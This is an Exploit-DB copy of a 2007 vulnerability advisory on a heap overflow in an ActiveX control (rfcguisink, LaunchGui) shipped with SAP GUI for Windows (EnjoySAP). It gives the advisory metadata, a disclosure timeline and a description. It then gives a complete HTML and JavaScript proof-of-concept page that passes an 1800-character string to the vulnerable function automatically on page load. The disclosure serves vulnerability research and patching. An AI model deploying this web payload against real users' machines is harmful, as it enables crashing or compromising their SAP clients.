EnjoySAP, SAP GUI for Windows - Heap Overflow

vendor:

SAP GUI for Windows

by:

Mark Litchfield

7.5

CVSS

HIGH

Heap Overflow

CWE

Product Name: SAP GUI for Windows

Affected Version From:

Affected Version To:

Patch Exists: YES

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows

2007

EnjoySAP, SAP GUI for Windows – Heap Overflow

When installing EnjoySAP, in appreciation of its vast size for being a client (around 500MB), there are an astounding 1102 ActiveX controls installed. A relatively brief examination of these controls found a large number of instances that would terminate EnjoySAP process, there were a number that could create files on the file system (there unfortunately exists no ability to inject content into these created files) and a number of buffer overruns.

Mitigation:

Source

Exploit-DB raw data:

<!--
=======
Summary
=======
Name: EnjoySAP, SAP GUI for Windows - Heap Overflow
Release Date:  5 July 2007
Reference: NGS00482
Discover: Mark Litchfield <mark@ngssoftware.com>
Vendor: SAP
Vendor Reference: SECRES-290
Systems Affected: All ASCII Versions
Risk: High
Status: Fixed

========
TimeLine
========
Discovered:  4 January 2007
Released: 19 January 2007
Approved: 29 January 2007
Reported: 12 January 2007
Fixed: 27 March 2007
Published:

===========
Description
===========
EnjoySAP, also know as Enjoy is the most popular SAP GUI used today.  The
latest version can be obtained from ftp://ftp.sap.com/pub/sapgui/win/

When installing EnjoySAP, in appreciation of its vast size for being a
client (around 500MB), there are an astounding 1102 ActiveX controls
installed.

A relatively brief examinaton of these controls, found a large number of
instances that would terminate EnjoySAP process, there were a number that
could create files on the file system (there unfortunately exists no
ability to inject content into these created files) and a number of
bufferoverruns.

=================
Technical Details
=================
Control - rfcguisink.rfcguisink.1

Function - LaunchGui

POC:
-->

<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT type=text/javascript>

function init()
{
var foo = "";

for(var icount = 0; icount < 1800; icount++)
{
 foo = foo + "x";
}
var ngssoftware;
ngssoftware = new ActiveXObject("rfcguisink.rfcguisink.1");

ngssoftware["LaunchGui"](foo, 1, 1);
}
//-->
</SCRIPT>

</HEAD>
<BODY bgColor=#ffffff onload=init()>
</BODY></HTML>

# milw0rm.com [2007-07-05]